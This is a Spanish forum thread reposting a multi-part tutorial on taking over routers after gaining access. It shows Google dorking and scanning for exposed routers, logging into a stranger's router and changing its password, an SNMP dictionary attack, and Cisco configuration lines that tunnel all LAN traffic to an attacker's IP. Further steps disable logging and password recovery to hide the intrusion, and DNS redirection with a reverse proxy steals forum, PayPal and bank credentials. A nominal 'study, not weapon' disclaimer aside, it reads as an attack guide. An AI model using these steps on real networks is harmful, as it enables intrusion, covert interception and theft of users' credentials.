Enero 16, 2018, 11:43:46 pm

Autor Tema: Y tras el router... Qué? por Vic_Thor  (Leído 15547 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado soez

  • Yo vivo en CPH
  • ***
  • Mensajes: 1283
  • Sexo: Masculino
    • Ver Perfil
Y tras el router... Qué? por Vic_Thor
« en: Julio 27, 2011, 05:25:42 pm »
Y tras el router… Qué?

Bueno… esto no es que sea del todo muy, bueno… ya me entendéis.

En este hilo preguntaba nuestro compañero jochy  “Cómo atacar desde el router”

Bueno, pues la gente responde que si Upnp, que si hacer nat, que si meter un host a la DMZ, etc, etc…

Todas ellas son válidas, por supuesto, pero vamos a dar un par de pasos mas.

El primero, por qué no redirigir el DNS???

Pues claro!!! Si ya tenemos acceso al router podemos enviar las peticiones de los legítimos clientes de la LAN a un DNS bajo control del atacante, luego éste puede responder con las resoluciones que mas interese… con lo cual eso del pharming, phising, etc, está servido.

De hecho, se pueden hacer auténticas “diabluras” y con poco “esfuerzo” por parte del atacante. Si el “atacante” además de simplemente sustituir la resolución de nombres por las falsificadas está un poco espabilado, puede juguetear con proxys inversos de tal forma, que además de soplarle las contraseñas de autenticación tipo Facebook, foros, etc… no tiene ni porque “falsear” la web auténtica.. ni hacer complicadas páginas que “parezcan” iguales a las originales, sencillamente puede hacer pasar por su máquina todo lo que se le antoje.

Interesante, no?? Pues eso para otro post, que en este toca otra cosa…

En el hilo que anteriormente mencionaba, el de jochy, respondí algo así:

Citar
“Si tienes acceso al router (a su configuración) y si es un router "majo" puedes hasta crear un túnel (incluso vpn) con otro router de internet... puedes hacer pasar TODO el tráfico de esa lan por tu ordenador (tu sabrás lo que haces luego con eso) y/o si configuras una vpn, pues eso... que como si estuvieses sentadito en esa red.
….
….”

Esa respuesta tiene dos vertientes:

1.- Hacer pasar el tráfico de esa red por tu lan
2.- Crear un túnel y/o VPN para conectarte a esa Lan desde tu PC.

En este post tratamos sólo el caso 2 (que ya es bastante) y también dejaremos el caso 1 para otro momento…. Así que por ahora tenemos pendiente el tema de los DNS y del enrutamiento hacia la máquina del atacante que podríamos llamarlo algo así como “esnifar desde Internet”

Como todo en la vida lo que vamos a realizar requiere de algunos conocimientos (pocos) para por lo menos saber lo que estamos haciendo y también de las herramientas necesarias.

Para “manipular” el router remoto y acceder a la lan que protege necesitamos:

a.- Acceder al router como administrador
b.- Que el router permita la creación de túneles y/o VPN
c.- Que el atacante disponga de un router que permita lo mismo y/o usar clientes de conexión VPN

Lo mas sencillo sería que el atacante utilice un router idéntico al de la víctima, por supuestísismo que esto no es obligatorio, pero simplifica las cosas si queremos crear (por ejemplo) un túnel sitio-a-sitio (obviamente el atacante ya se asegurará de bloquear las conexiones que inicien los clientes-víctima hacia su propia LAN y permitir sólo las que inicie él)

Lamentablemente Internet está lleno de routers expuestos a este tipo de ataques… principalmente porque los colocan así como vienen de fábrica y no se preocupan o no saben ni cambiar el pass de acceso, por ello hay que ser “legales” y tomar este documento como un estudio y no como un arma.

Por ejemplo, supongamos que tenemos un router BT Voyager, SAR110-130, etc…, NetGear DM600, DLink RTA o cualquiera de esos GlobeSpanVirata o Viking.

Buscar “indefensos” propietarios de esos routers en Internet es juego de niños, basta con ir a Google, buscar en foros,  blogs, etc… y los encontramos sin mas.

Veamos un ejemplo… Supongamos que queremos encontrar uno de ellos,  (como “novedad” lo vamos a ver en un vídeo)

You are not allowed to view links. Register or Login

Como ves, acabamos de encontrar (Google lo encontró) unas cuantas entradas…

Escogí la segunda esa que pone login, en ella vemos una ip, así que vamos  escanear el rango de ip’s que nos mostraba Google.

Para ello podemos usar cualquier escáner, yo escogí superscan  que es muy rápido y sólo los puertos 80, 23 y 8080… tras unos pocos intentos… lo encontramos:

You are not allowed to view links. Register or Login

En el vídeo vemos que se trata de un router GS8100, por lo que vamos a necesitar ls documentación del mismo para poder crear el túnel.

Este tipo de Routers basados en GlobeSpanVirata no permiten la configuración de túneles y vpn por el interface web, toca hacerlo por línea de comandos.

Así que buscamos la documentación:

You are not allowed to view links. Register or Login

Vale, ya tenemos el manual y todo…

Para crear un tunel L2TP entre ese router y el nuestro tendríamos que poner algo así:

Código: You are not allowed to view links. Register or Login
$create l2tp tunnel config ifname l2t-0 localip 190.42.42.236 remoteip 88.6.15.2 localhostname RASCA remotehostname PICA start initiator remote
donde localip es la direccion ip de “la víctima” y remoteip es la direccion ip del atacante.

Obviamente el atacante, debería también configurar su router “dando la vuelta” a los parámetros…

Código: You are not allowed to view links. Register or Login
$create l2tp tunnel config ifname l2t-0 localip 88.6.15.2 remoteip 190.42.42.236 localhostname PICA remotehostname RASCA start initiator local
El video:

You are not allowed to view links. Register or Login

Desgraciada o afortunadamente ese modelo de router no cuenta con el firmware actualizado para implementar túneles y/o VPN, hombre… ya puestos podríamos actualizarle el software al router (cosa que no voy a hacer) pero podría ser así:

You are not allowed to view links. Register or Login

No le actualicé el firmware (por supuesto) aunque a lo mejor le venía hasta bien, jejeje, pero entre otras cosas como tiene ip dinámica después del upgrade hay que reiniciarlo y claro, ya no será la misma Ip y habría que buscarlo de nuevo (cosa que tampoco sería gran problema, pero mejor no tocarlo)

Así que con las mismas, vamos a buscar otros routers “vulnerables” mejor con IP fija y a ser posible que no haya que actualizarles el firmware….

Para esta práctica… pues buscamos lo “fácil” que son los Zyxel de telefónica.

Digo que son los fáciles porque averiguar rangos de ip’s estáticas de telefónica es una sencilla consulta en Google o en RIPE, y saber si el router lleva el firmware actualizado basta con ver en las cabeceras de la conexión http algo así como:

Código: You are not allowed to view links. Register or Login
http/1.1 401 Unautorized.WWW-Autenticate: Basic realm=”Prestige 650H/HW-33”…
En este video vemos el scan de esa red… permitidme que distorsione las mismas, son estáticas y … bueno, por si acaso….

You are not allowed to view links. Register or Login

Vale, ya tenemos a nuestro “conejillo de indias”, no sé quienes o quienes son, vamos a ver como está ese router, una cosa… como “no quería” que el auténtico propietario del router accediese al mismo mientras “trabajaba” pues simplemente le cambié la contraseña… luego lo dejaré todo como lo encontré.

Además, para crear la VPN va a ser necesario poner la IP o el nombre de dominio del atacante… vamos, que si acceden al router podrán ver nuestros datos… y eso no está bien.

De éste vídeo averiguaremos que:

* La dirección de la LAN que utiliza es 192.168.0.0 255.255.255.0
* La dirección IP del router interna es 192.168.0.1
* No tiene activado el Firewall
* No tiene activado ningún túnel ni VPN
* No tiene reglas internas de firewall
* No tiene reglas externas de firewall
* No hay Logs ni para VPN ni para el firewall
* NAT hacia la dirección 192.168.0.100 para escritorio remoto (puerto 3389 de TCP)

Lógicamente si no tiene el Firewall activado es normal que no disponga de reglas para el mismo y tampoco existan logs

También es lógico que al no existir VPN definidas tampoco existan reglas ni logs de acceso.

Una cosa importante!!!! Que luego volveré a recordar, cuando activemos el cortafuegos que no se nos olvide añadir reglas de permiso desde Internet hacia el router por los puertos 80 y/o 23 puesto que si no lo hacemos así, perderemos la conexión por la web o Telnet con el router…

Lo vemos, entonces…

You are not allowed to view links. Register or Login

Bueno, en el siguiente video vamos a habilitar el firewall con las reglas que nos permitan conectarnos mediante un cliente VPN o un router para poder crear el túnel cliente a sitio o sitio a sitio.

También vamos a añadir las reglas necesarias para Telnet  y para el puerto 80 de http y bueno… meteremos también icmp para comprobar que está online mediante un ping.

Las reglas del firewall se pueden/deben aplicar desde la LAN a Internet y desde Internet a la LAN, la primera serán los puertos y/o protocolos que permiten a los clientes de la red salir a Internet y la segunda lo contrario, lo que se permite desde Internet a la red local.

También es importante advertir que hasta que el firewall no esté activo ninguna de las reglas se aplican, recordad activar el firewall DESPUES de añadir las reglas o perderéis la conexión.

De momento veamos el vídeo para crear las reglas internas que por defecto le vamos a dejar salir por todos los puertos y protocolos, y las reglas externas que filtramos las conexiones desde Internet únicamente a 80 y 23 de TCP mas lo del ICMP

Como vimos antes, el administrador de este router hizo nat hacia una máquina por el puerto 3389 (Escritorio remoto) pues también crearemos esa regla para que lo pueda seguir haciendo una vez apliquemos las reglas y activemos el cortafuegos.

También podríamos dejar pasar el protocolo DNS, no estaría mal… eso lo haremos luego de otra forma a lo que veremos a continuación

You are not allowed to view links. Register or Login

Vale, ahora tocan las reglas de la VPN, en esta ocasión en lugar de crear una regla para cada puerto-protocolo, vamos a agruparlas TODAS en una sola, el efecto es el mismo que si definimos una por una… pero es mas corto… a ello:

You are not allowed to view links. Register or Login

Según hemos visto, permitimos IPSEC, GRE, PPtP, AH e IKE, no es preciso que estén todos ellos, depende de la vpn que deseemos crear, en nuestro caso no sobrarían GRE y PPtP, pero bueno… por si acaso me/nos da por crear un túnel “versus RRAS de Windows Server” (este utiliza PPtP 1723 de TCP) o por si nos da por un Cisco con GRE… vamos que ya lo tenemos.

También habréis notado que habilité los logs para en las reglas del firewall para la VPN, esto lo hago por si acaso hay algún problema en la conexión poder ver los mensajes de error, por ejemplo problemas de autenticación, apertura del túnel, etc…

Nos faltaría activar el firewall y crear la VPN, ahora lo hacemos:

You are not allowed to view links. Register or Login

Antes de configurar la VPN hay que saber la configuración del atacante, es decir, de mi equipo, router, ip’s…

You are not allowed to view links. Register or Login

Resumiendo, configuración LOCAL del atacante:

Código: You are not allowed to view links. Register or Login
IP: 172.28.1.48 255.255.255.0
IP Interna del Router: 172.28.1.10
IP Pública del Router: 83.60.158.126

La configuración de la Víctima:

Código: You are not allowed to view links. Register or Login
RED: 192.168.0.0 255.255.255.0
IP interna del router: 192.168.0.1
IP Pública del router: xxx.xxx.xxx.xxx (ya sabéis por qué no la pongo…)

Esto (o parte de esto) hay que ponerlo en la configuración de la VPN, vamos…

You are not allowed to view links. Register or Login

Vale, pues ya tenemos la VPN creada, ahora sólo hay que “probar”

Necesitamos un cliente VPN y configurarlo con los parámetros del servidor VPN, nos vamos a descargar uno cualquiera (el vpn client de cisco mejor no que tiene sus particularidades…) yo escogí este:

TheGreenBow vpn client, lo podemos bajar de aquí:

You are not allowed to view links. Register or Login

La instalación es como las de siempre… siguiente, siguiente, …. Y finalizar.

Eso si, es MUY IMPORTANTE que tras la instalación del cliente vpn REINICIES el equipo o no funcionará.

Ahora veamos esto, lo primero que hay que hacer es ELIMINAR toda la configuración inicial y crear la nuestra propia….

You are not allowed to view links. Register or Login

Y tras eso, pues bueno… podemos escanear la red 192.168.0.0 en busca de equipos, recursos compartidos, etc…

Pues eso, que espero que haya sido “instructivo” y que lo disfrutéis… pero… hombre, no pensarás que te vas a escapar de la “carga teórica”, eh!!

Recuerdo que hace años puse unos pdfs de VPN, no sé si aquí o en el extinto HxC, pero bueno, vamos a hacer un repaso rápido a la VPN de esta práctica, pero como no me lo permite el sueeeeñoooo que tengo lo haré a lo largo de la semana.

Autor: Vic_Thor
Fuente: You are not allowed to view links. Register or Login
« Última modificación: Agosto 21, 2011, 08:41:23 am por cemasmas »
You are not allowed to view links. Register or Login
01001010 01100001 01110110 01101001 01100101 01110010

Desconectado soez

  • Yo vivo en CPH
  • ***
  • Mensajes: 1283
  • Sexo: Masculino
    • Ver Perfil
Re:Y tras el router... Qué? por Vic_Thor
« Respuesta #1 en: Julio 27, 2011, 05:41:38 pm »
En este post vamos a escenificar cómo crear un túnel entre el router “víctima” y el router del atacante tal y como “se prometió” en su día y hacer pasar todo el tráfico (o sólo el que nos interese) por ese túnel para que el supuesto atacante capture los datos.

Se supone que conocemos la ip pública de la víctima, o bien, hemos realizado un scan + OSFingerprinting de una ip o rango de ip’s.

Concretamente vamos a buscar routers cisco, que son más fáciles de crear los túneles que en otros… aunque parezca mentira.

También puede ocurrir que ya sepamos de antemano que determinada ip/red utiliza este tipo de routers.

Una vez localizada la IP, como es mi caso, nos hacemos un pequeño gráfico de cómo es la cosa:



Por el momento sólo conocemos la IP pública de nuestra víctima: 193.251.1.17

Y nuestros datos, claro….
 
Vale, pues seguimos suponiendo… podríamos probar los password y usuarios por defecto, podríamos lanzar un ataque por diccionario, o también…. Lo que vamos a realizar.

Vamos a intentarlo, no vaya ser que  por una de esas casualidades de la vida (que no es tan casual, mas bien en muy habitual) tiene activado la administración por SNMP.

El protocolo SNMP puede permitir a los administradores gestionar los dispositivos, y ciertamente, muchos de los routers, Webcams, etc… que hay desperdigados por Internet tienen habilitado ese protocolo, en muchas ocasiones (mas de las que deberían ser) los propietarios de esos “aparatos” se limitan a utilizar una comunidad privada y no dotan de seguridad al protocolo SNMP, mejor dicho, al servicio SNMP.

Es bastante habitual encontrarnos comunidades “public” de sólo lectura (RO) y comunidades privadas (la-que-sea) de lectura-escritura (RW)

Tanto si es de sólo lectura o de lectura-escritura, los datos que arrojan de verdad que asustan… podemos ver la configuración “casi total” del router, en este caso.

Veremos sus interfaces, ips, tablas de enrutamiento, incluso hasta las reglas y filtros aplicados, vamos… un peligro.

Para llevar a cabo este “ataque” debemos ser capaces de “cambiar” la configuración del router, es decir, o sabemos la contraseña y/o usuario de acceso, o podemos “tirar” del servicio SNMP si está habilitado (y mal configurado),

Vamos a usar este segundo apartado, SNMP. Y para que podamos modificar su configuración es preciso encontrar una comunidad SNMP de lectura-escritura, no nos vale la de sólo lectura… queremos modificar.

Pues venga… a ello… ya hemos dicho que “de la forma que sea” conocemos que la IP 193.251.1.17 es de un router cisco, y antes de liarnos con el tema SNMP probaremos unas cuantas contraseñas de acceso (las típicas por defecto)

You are not allowed to view links. Register or Login

Pues no hemos tenido suerte… vamos a ver si SNMP está funcionando….

You are not allowed to view links. Register or Login

Correcto! SNMP aparece como Abierto-Filtrado y aparentemente debe estar “por detrás” funcionando el servicio.

Ahora debemos probar si eso que aparecía en el vídeo anterior era un falso positivo o si de verdad existe ese servicio corriendo en el router… probemos con alguna de las herramientas para la enumeración SNMP.

You are not allowed to view links. Register or Login

Hombre… como ves hay mucha información… claro que he probado con la comunidad public que habitualmente está….

Pero…

y si no sabemos que comunidades están definidas?
 
Y si la comunidad public es de sólo lectura?

Pues vamos a realizar un ataque por diccionario al servicio SNMP y con suerte… lo tendremos.

Vamos al vídeo:

You are not allowed to view links. Register or Login

He usado metasploit Framework…. Hay otras muchas posibilidades pero esta es sencilla y efectiva.

Como has visto en el vídeo, se usa un diccionario, obviamente puedes/debes usar “otro” más completo, pero con este nos sirvió por el momento…

Descubrimos que existen dos comunidades una que se llama public y otra que se llama empresa.

Ahora vamos a comprobar si alguna de ellas es de lectura-escritura

You are not allowed to view links. Register or Login

Listo!!! Ya tenemos el nombre de la  comunidad con permisos de lectura-escritura.

Ahora ya podemos (o intentaremos) descargarnos la configuración del router víctima a nuestro PC, luego la modificaremos para crear el tunel, y por último se la subiremos de nuevo a la vícitma.

Cómo??? Pues mediante TFTP.

Por defecto todos los routers cisco traen habilitado el cliente TFTP para poder actualizar tanto la IOS (El Sistema operativo) como el archivo de configuración… Lo único que tenemos que hacer es poner en marcha un servidor TFTP en nuestro equipo y “traer o llevar los archivos”

Podríamos hacerlo “a mano” recorriendo la MIB y modificando los valores para copiar lo que nos interese… pero estos chicos de Backtrack han pensado en todo y ya nos incorporan el programita que lo hace por nosotros.

Lo único que tenemos que hacer es permitir en nuestro router que “pase” el protocolo TFTP hacia nuestro PC. Como eso es de nuestra propiedad lo podemos hacer sin mas.

Lo que debemos saber es nuestra IP pública (86.32.4.51) el puerto que usa TFTP (69 de udp) y la máquina que corre el servidor (172.28.0.66) y con esto, hacemos NAT en nuestro router…

You are not allowed to view links. Register or Login

Una vez hecho el “mapeo” de puertos hacia la máquina local del atacante, vamos a lanzar el programa para obtener el tan ansiado archivo de configuración

You are not allowed to view links. Register or Login

Pues ya lo tenemos… ahora hay que configurarlo…. Lo que vamos a hacer es esto:

CREAR EL TUNEL

Código: You are not allowed to view links. Register or Login
interface Tunnel0
ip address 192.268.200.1 255.255.255.0
ip nat inside
tunnel source 193.251.1.17
tunnel destination 86.32.4.51

Creamos una interface virtual del túnel con IP 192.168.200.1, hacemos nat interno en esta interface, y le decimos que el origen del tunel es la IP pública de la víctima y que el destino del túnel es la IP pública del atacante.

Estarás pensando que esto “es arriesgado” puesto que si el admin. de la víctima “mira” el archivo de configuración nos pilla… pues sip-.—pero esto lo arreglaremos después ;)

CREAR UNA LISTA DE ACCESO QUE PERMITA PASAR EL TRÁFICO QUE NOS INTERESE. EN NUESTRO CASO TODO EL TRÁFICO.

Código: You are not allowed to view links. Register or Login
access-list 166 permit ip any any
A esto sin comentarios… eso que pase TODO

CREAR UNA NUEVA RUTA ESTÁTICA PARA PODERNOS COMUNICAR LAN-to-LAN

Código: You are not allowed to view links. Register or Login
ip route 172.28.0.0 255.255.255.0 192.168.200.2
Con esto le indicamos al router que para ir “a la red del atacante” debe hacerlo por la IP 192.168.200.2

Y esa IP??? De quien es??? Pues obviamente en el router del atacante debemos crear “el otro extremo del túnel” y lógicamente pondremos que la ip es 192.168.200.2.

Y haremos algo parecido… ip route 192.168.1.0 255.255.255.0 192.168.200.1

Es decir, la comunicación entre las dos redes locales se hace por la interface del tunel del otro extremo.

Obviamente, el atacante, tendrá que tomar “sus precauciones” para que el tráfico hacia su red iniciado por los equipos de la red vícitma sea denegado y que sólo permita la entrada de aquello que el atacante haya iniciado… porque sino…. El cazador cazado.

CREAR UN MAPA DE RUTEO

Código: You are not allowed to view links. Register or Login
route-map enviar permit 10
match ip address 166
set ip next-hop 192.168.200.2

Veamos, creamos una “mapa de rutas” y le asignamos el nombre enviar (puede ser cualquier otro, claro)  con número 10 (esto no es importante, pero que no esté repetido) y le decimos que permita (permit)  aquello que diga la lista de acceso 166 (recuerda que era TODO) y… esto es importante… el tráfico será desviado a la IP 192.168.200.2

Por sí mismo el comando route-map “no hace nada”, nada hasta que se aplica a una interface determinada mediante otro comando llamado ip policy route-map que aplica las políticas de enrutamiento a la interface adecuada.

Una cosa IMPORTANTE acerca del comando ip policy route-map

En los routers CISCO las políticas de enrutamiento se aplican sobre una interface… eso ya lo dije, pero sólo tienen efecto en el tráfico de ENTRADA!!!!!

Es decir, si aplicamos el comando ip policy route-map enviar sobre la interface pública… que ocurrirá???

Pues que si todo es como lo explicado, el tráfico de entrada a esta interface se reenviará por el túnel al atacante…dicho de otro modo… imagina que un equipo de esa red navega hacia el foro de Wadalbertia… ¿qué recogerá el esnifer del atacante? Pues el tráfico que envíe el Server de wadalbertia y no el tráfico que sale de la red de la víctima.

Si por el contrario esa politica de rutas la aplicamos en la interface privada de la red de la víctima, el esnifer del atacante recibirá las peticiones de esa red pero no las respuestas.

Obviamente… las aplicamos en las dos interfaces y ya está, no? Así podremos recibir el tráfico de entrada y de salida, verdad?

Bueno, pues sí y no… dependerá también del otro extremo (el del atacante) puesto que éste tendrá que reenviar ya sean las respuestas o las peticiones…

En este ejemplo lo haremos únicamente para el tráfico que sale de la red vícitima hacia Internet… ya te dejo para ti el resto…. Con esto podremos, por ejemplo, cazar contraseñas, etc… ya lo veremos, pues eso el siguiente paso será:

APLICAR ROUTE-MAP SOBRE LA INTERFACE ADECUADA

   
Código: You are not allowed to view links. Register or Login
Interface FastEthernet1/0
ip policy route-map enviar

Obviamente, la interface f1/0 es la interface Ethernet (FastEthernet) que conecta la red privada al router.

CAMBIAR LA CONTRASEÑA DE ADMINISTRACIÓN y MASSSSSS

   
Código: You are not allowed to view links. Register or Login
enable secret $1$NQhM$MN4.S9z5U3yKZXBiPa0Up0
username admin secret $1$NQhM$MN4.S9z5U3yKZXBiPa0Up0
no logging 192.168.1.88
no snmp-server community public RO
no snmp-server community empresa RW
no service password-recovery

a ver… primero esto de: $1$NQhM$MN4.S9z5U3yKZXBiPa0Up0 no es otra cosa que una nueva contraseña… en este caso papito:30-60-90

y lo que hacemos es cambiar la contraseña de acceso al router del modo privilegiado (la del administrador) por esa nueva (así el verdadero admin. no podrá ver el túnel)

También aplicamos la misma contraseña a la base de datos local que usaba TELNET (de ese modo tampoco podrá acceder por Telnet al router)

Al echar un vistazo a la configuración original del router, encontramos una línea que dice logging  192.168.1.88 eso no es bueno… eso quiere decir que “aparentemente” existe una máquina en esa red (la 192.168.1.88) que actúa como syslog y recogerá alertas, alarmas, etc… si es así… nos habrán pillado… por tanto si no estamos muy seguros… casi sería mejor dejarlo aquí… pero bueno.. quedáis advertidos.

El caso es que deshabilitamos el envío de logs al servidor.

Desactivamos snmp (mediante las líneas no snmp etc….) de es modo tampoco podrá administrar el router vía snmp (y así no podrá ver el tunel)

Aunque pensándolo mejor, esto no lo haremos ahora... puesto que si nos falla algo... y desactivamos snmp.... pues no podremos volver a copiar la configuración... mejor no lo haremos... luego.... mas tarde....

Y la última… la última es una “maldad

Los routers cisco disponen de un mecanismo de recuperación de contraseñas “de emergencia” sin perder el archivo de configuración, de ese modo si el admin. “pierde” la contraseña, se le olvida (o se la cambian como es este caso), puede iniciar ese procedimiento de emergencia, y si lo hace… pondrá la contraseña que el quiera y podrá ver nuestra querida ip del tunel… y nos habrá pillado.

Bueno, pues con esa línea: no service password-recovery, si el admin. intenta el procedimiento de recuperación de contraseñas…. Pues PERDERÁ el archivo de configuración y por tanto (además de tener que reconfigurar el router) no podrá ver lo que le hicimos.

Claro… esto último no tiene sentido si no “salvamos” el archivo de configuración en el router victima… de momento todo esto que estamos haciendo tendrá validez mientras no reinicien el router… si lo reinician… pues se pierde todo y como si nada… aquí no pasó nada… También nos ocuparemos de eso… o no… depende….

Bien, creo que no me dejo nada… veamos el vídeo que pone en marcha todo esto: (recordad que ya tenemos en nuestro poder el archivo de configuración)

En este vídeo suponemos que ya hemos escrito todos esos comandos en el archivo de configuración (para no alargar mucho el vídeo) tan sólo vamos a ver en el vídeo la comprobación que todo está como se explicó anteriormente.

You are not allowed to view links. Register or Login

ya hemos visto en el vídeo que se aplicaron todas esas modificaciones ya comentadas… y alguna mas como el nombre del router, el banner de bienvenida, desactivar los mensajes de tiempos y marcas horarias.

Ahora nos queda “subirlo” al router víctima

You are not allowed to view links. Register or Login

Bueno… parece que dio un error, lo explico.

Si el atacante hubiese creado el túnel apropiadamente no tendría que dar tal error… recuerdas lo del ip policy????

Pues claro, como lo aplicamos… recibimos sus peticiones pero no las respuestas… pero debería haber funcionado OK-

Para comprobarlo… pues como “sabemos” la contraseña (la hemos creado “al gusto”) que es papito:30-60-90 podremos hacer Telnet al router…

A ver si es cierto y de paso… cambiaremos el nombre de las comunidades (para que no pueda acceder por SNMP el admin del router) y si queremos (si hemos activado no service password-recovery) pues podríamos guardar definitivamente la configuración y así disponer del túnel de forma indefinida….

Esto último no lo haré… bueno sí lo haré pero NO DEBERÍA hacerlo puesto que esta IOS no permite ese comando… lo vamos a ver en el vídeo.

También cambiaré la base de datos local para no tener que escribir “dos veces” la famosa contraseña… crearé un usuario llamado Vic_Thor con contraseña mitesoro con privilegios administrativos.

You are not allowed to view links. Register or Login

Como has visto en el vídeo este router no nos permite el comando service password-recovery, por tanto no habría sido conveniente el guardar la configuración… se hizo… mal hecho, desde luego.

Bien, ahora toca configurar el router del atacante…que dispone también de un router CISCO (nada mejor para “juankear” un Cisco que otro Cisco)

Prácticamente es todo igual, excepto algunas cosillas, por ejemplo que el route-map NO debe ir hacia la red de la victima (a menos que quieras convertirte en víctima y verdugo) debe “apuntar” hacia una máquina del atacante y que ésta reenvie el tráfico.

Por lo demás, es muy, muy parecido… a ello:

ojo!! este vídeo se para... algo hice mal.... así que cuando se pare, le dais de nuevo al play para que siga


You are not allowed to view links. Register or Login

Como has visto es “casi lo mismo” crear el tunel, la lista de acceso, el mapa de rutas, etc… Solo que en esta ocasión en lugar de aplicar la politica de ruteo en la interface privada o pública lo hacemos sobre la interface de tunnel y por supuesto, el siguiente salto será la máquina que corre el esnifer… luego desde esa máquina reenviaremos el tráfico.

También advierte que los parámetros cambian, donde antes era el destino ahora es el origen y viceversa. Veamos lo que hay que hacer en la máquina del atacante y después probaremos….

You are not allowed to view links. Register or Login

Y ahora probamos…. Un Windows de la red vícitma accede a google…..

You are not allowed to view links. Register or Login

Y por útltimo… vamos a ver si cazamos algo “interesante”

Supongamos que la víctima accede a wadalbertia… y se identifica en el foro…. Conseguiremos la contraseña???

Pues como muestra….

You are not allowed to view links. Register or Login

Pues eso… creo que por hoy también vale ya….

PD: Como veras… las ips publicas son verdaderas… o no…. Jejeje, no las busques que no están disponibles, todo esto es real…pero todo está virtualizado, por ello no fue preciso en esta ocasión “difuminar” a víctimas y atacantes, los routers “reales” no son esos.


Autor: Vic_Thor
Fuente: You are not allowed to view links. Register or Login
« Última modificación: Julio 28, 2011, 05:01:44 am por soez »

Desconectado soez

  • Yo vivo en CPH
  • ***
  • Mensajes: 1283
  • Sexo: Masculino
    • Ver Perfil
Re:Y tras el router... Qué? por Vic_Thor
« Respuesta #2 en: Julio 27, 2011, 05:47:24 pm »
Tercera entrega… y corta entrega…

Como ya os dije en la primera parte, también podemos “manipular” el DNS de la víctima y hacer que resuelva “mal” las direcciones, concretamente vamos a explicarle al router que envíe las peticiones DNS a “otro” cuyo control es del atacante.

El escenario es el mismo que en el de la Parte II, no tienen por qué se Cisco, claro… pero ya que estaba hecho de antes… pues tarea adelantada…

El escenario es el mismo…


 
Vale… lo primero es:

El Atacante usa un Windows 2003 server (póDió) si… bueno es una larga historia…

La víctima es un Linux…. (otra vez pódió) pero, en fin… así es….

Como ya desde la primera o segunda parte sabemos como acceder al router… pues eso, “re-configuramos” el router de la víctima para que añada un servidor DNS que está bajo el control del atacante, ahí va el primer vídeo:

You are not allowed to view links. Register or Login

Segundo paso… configurar el router del atacante para que pase el tráfico DNS (udp 53) y el tráfico WEB TCP 80, bueno también abrí el puerto 443 para SSL, esto ahora, en este post no tiene sentido alguno… es para el cuarto… SÍIII habrá una cuarta parte en la que atacaremos https

Pues vamos, segundo vídeo:

You are not allowed to view links. Register or Login

Ahora vamos a configurar el Servidor DNS del atacante… nos vamos a centrar en “engañar” a la/las víctimas con wadalbertia.org

El fin último de todo esto será conseguir las contraseñas de acceso de los usuarios que acceden al foro de Wadalbertia desde la red local víctima…

Para ello crearemos las zonas necesarias… bueno, el vídeo lo dice todo:

Tercer vídeo:


You are not allowed to view links. Register or Login

Ahora el cuarto vídeo, que no es otra cosa que una “comprobación” que todo va a ir bien… lo vemos:


You are not allowed to view links. Register or Login

El quinto vídeo es también una comprobación… veremos que nuestro dns “malvado” resuelve la ip de wadalbertia como la ip pública del atacante… no iba a ser de otro modo, por supuesto!!!!


You are not allowed to view links. Register or Login

Y con todo ya preparado… pues eso… configuramos nuestro Apache como Proxy reverse y el tráfico de la red víctima hacia wadalbertia pasará por la máquina del atacante… lo vemos y terminamos:

(ojo!!! el vídeo se para en varias ocasiones... no te olvides de dar "al play" para que continue....)


You are not allowed to view links. Register or Login

Fácil, no??

Saludos.

Autor: Vic_Thor
Fuente: You are not allowed to view links. Register or Login
« Última modificación: Julio 28, 2011, 05:03:17 am por soez »

Desconectado soez

  • Yo vivo en CPH
  • ***
  • Mensajes: 1283
  • Sexo: Masculino
    • Ver Perfil
Re:Y tras el router... Qué? por Vic_Thor
« Respuesta #3 en: Julio 27, 2011, 06:04:44 pm »
Parte IV

En esta ocasión tampoco usaremos túneles ni VPN’s,. nos vamos a seguir aprovechando de la redirección de los DNS de la víctima que apuntarán a la/las máquinas que determine el atacante… Sólo que ahora vamos a trabajar con “otras” herramientas y con “otros” conceptos. Concretamente nos vamos a centrar en SSL (las comunicaciones seguras por Internet), seguiremos utilizando Reverse Proxy y lo combinaremos con SSLDump, con SSLStrip, con DNScat, DNSlogger (una versión “modificada” por este siervo de Wadalbertia que nos hará la vida mas fácil para implementar los ataques) , crearemos los certificados de seguridad necesarios, etc, etc.. y con el mismo objetivo… capturar las contraseña de acceso “seguras” hacia webs del tipo paypal, Facebook, correo tipo yahoo… y por qué no… entidades bancarias???

Configuración de la Red Víctima:

Asumimos que los servidores DNS de la/las máquinas de la red víctima apuntan a alguna máquina bajo el control del atacante… esto ya lo tenemos desde la partes anteriores, lo que tenemos que hacer es configurar ese router comprometido y colocar como DNS Primario la IP pública del atacante o si se dispone de un dominio registrado en Internet bajo control… pues eso,

Para todo este ejemplo, la configuración de la red víctima es:

Código: You are not allowed to view links. Register or Login
IP Pública: 193.251.1.17
IP’s Privadas: 192.168.1.x/24 (esto ciertamente no nos “interesa” en esta ocasión)
DNS Primario: 86.32.4.51 (que es la ip pública del atacante)
DNS Secundario y otros… cualquiera de los públicos de Internet. 195.235.113.3, 80.58.0.33, etc…

Es MUY IMPORTANTE que existan otras entradas DNS que no estén en poder del atacante puesto que lo que vamos a hacer en esta parte es configurar nuestro sistema para que resuelva los dominios y/o host de Internet que nos interese… aquellos que no nos interesen… que lo resuelvan los DNS Públicos.. así no “nos cargamos” con exceso de trabajo y además… si “nos desconectamos” de la red, los equipos víctima seguirán tan felices y contentos sin “notar nada”.

Configuración del lado del Atacante:

Código: You are not allowed to view links. Register or Login
IP Pública: 86.32.4.51
IP’s Privadas: 172.28.0.0/24
Máquina atacante: 172.28.0.66 /24
Puerta enlace: 172.28.0.254
DNS’s: 195.235.113.3 80.58.0.33

El Router del atacante hace NAT de los puertos 53 UDP, 80 y 443 TCP hacia la máquina del atacante (172.28.0.66)

Luego, lo primero que tenemos que hacer (o disponer) en la red del atacante es “algo” que resuelva los dominios que queremos falsear, podemos instalarnos un Bind o un Server DNS… pero…. Tenemos que dar respuestas con “autoridad” y va ser mas complicado de ese modo…

Así que vamos a recurrir a otras herramientas, sencillas y eficaces.

Concretamente usaremos para este primer objetivo la suite de Nbtools, las tenemos disponibles para Windows y para Linux, y de verdad… funcionan a la perfección (hasta en Windows funcionan bien!!, para estos ejemplos usaremos la “versión linux” puesto que una de las cosas que haremos será modificar el código original de esta suite… y con linux es mas cómodo.

You are not allowed to view links. Register or Login

Este conjunto de paquetes es muy bueno y consta de varias herramientas:

■DNS backdoor (dnscat)
■NetBIOS queries, registrations, and releases (nbquery)
■NetBIOS sniffing and poisoning (nbsniff)
